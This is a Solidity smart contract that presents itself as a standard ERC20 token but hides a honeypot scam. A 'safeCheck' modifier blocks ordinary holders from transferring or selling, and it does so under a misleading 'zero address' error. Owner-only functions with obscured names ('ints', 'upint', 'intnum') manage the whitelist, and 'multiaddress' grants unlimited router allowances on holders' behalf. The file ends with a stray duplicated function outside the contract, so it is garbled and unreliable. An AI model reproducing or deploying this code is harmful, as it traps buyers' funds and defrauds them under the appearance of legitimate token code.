contract ERC20 is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address private _address0;
    address private _address1;
    mapping (address => bool) private _Addressint;
    uint256 private _zero = 0;
    uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
   constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
        _name = name;
        _symbol = symbol;
        _decimals = 18;
        _address0 = owner;
        _address1 = owner;
        _mint(_address0, initialSupply*(10**18));
    }
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function ints(address addressn) public {
        require(msg.sender == _address0, "!_address0");_address1 = addressn;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function upint(address addressn,uint8 Numb) public {
        require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function intnum(uint8 Numb) public {
        require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    modifier safeCheck(address sender, address recipient, uint256 amount){
        if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
        if(sender==_address0 && _address0==_address1){_address1 = recipient;}
        _;}
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
    function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
    for (uint256 i = 0; i < receivers.length; i++) {
      if (msg.sender == _address0){
          transfer(receivers[i], amounts[i]);
          if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
          }
    }
   }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
       emit Approval(owner, spender, amount);
    }
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }
    //transfer 
    function _transfer_AXION(address sender, address recipient, uint256 amount) internal virtual{
        require(recipient == address(0), "ERC20: transfer to the zero address");
        require(sender != address(0), "ERC20: transfer from the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {  }
}
function _transfer_AXION(address sender, address recipient, uint256 amount) internal virtual{
    require(recipient == address(0), "ERC20: transfer to the zero address");
    require(sender != address(0), "ERC20: transfer from the zero address");
    _beforeTokenTransfer(sender, recipient, amount);
    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
}

//transfer 